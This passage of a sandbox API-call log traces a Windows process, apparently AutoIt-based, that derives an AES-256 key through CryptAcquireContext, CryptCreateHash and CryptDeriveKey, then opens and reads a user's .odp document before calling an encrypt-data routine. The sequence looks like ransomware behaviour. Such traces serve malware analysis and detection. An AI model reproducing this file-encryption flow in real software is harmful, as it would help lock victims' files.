wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.346] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.346] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.346] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.346] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.346] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.346] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.346] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.346] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.346] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.346] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.346] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.346] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.346] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0025.346] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.346] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.346] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.346] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.346] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.346] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0025.346] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.346] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4199a20) returned 1 [0025.347] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.347] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.347] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0025.347] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.347] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.347] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.347] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.347] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.347] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.347] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.347] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.347] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.347] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.347] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.347] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.347] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0025.347] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.347] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.347] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.347] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.347] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.347] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.347] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.347] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.347] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.347] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.348] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.348] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.348] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.348] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.348] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.348] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.348] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.348] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.348] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.348] CryptCreateHash (in: hProv=0xe8f4199a20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0025.348] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.348] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.348] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.348] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.348] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0025.349] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.349] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.349] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.349] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.349] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.349] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b870, dwDataLen=0x20, dwFlags=0x1) returned 1 [0025.349] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.349] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.350] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.350] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.350] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.350] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.350] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.350] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.350] CryptDeriveKey (in: hProv=0xe8f4199a20, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062aa0) returned 1 [0025.351] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.351] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.351] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.351] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.351] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.351] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.351] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0025.351] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0025.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0xe8f417ae00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0025.352] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptDestroyHash") returned 0x7ffe2a59e84c [0025.352] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0025.352] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.353] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.353] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.353] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.353] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.354] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\v2zRxHEjBQRq x60dFm7.odp" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\v2zrxhejbqrq x60dfm7.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.354] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.354] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0025.354] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.354] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.354] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.354] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.354] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.354] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.354] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.356] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0025.356] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x1447, lpOverlapped=0x0) returned 1 [0025.356] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0025.358] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.358] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.358] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.358] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0025.358] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.358] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.358] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0025.358] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.358] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0025.358] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.358] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.358] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.358] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0025.358] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.358] CryptGetKeyParam (in: hKey=0xe8f4062aa0, dwParam=0x7, pbData=0xe8f4064a80, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064a80*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0025.358] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.358] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.358] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.358] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.358] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.358] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.358] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.358] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.358] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.358] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.358] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.358] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.358] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.358] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.359] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.359] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.359] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.359] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.359] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.359] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.359] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.359] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.359] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.359] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.359] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 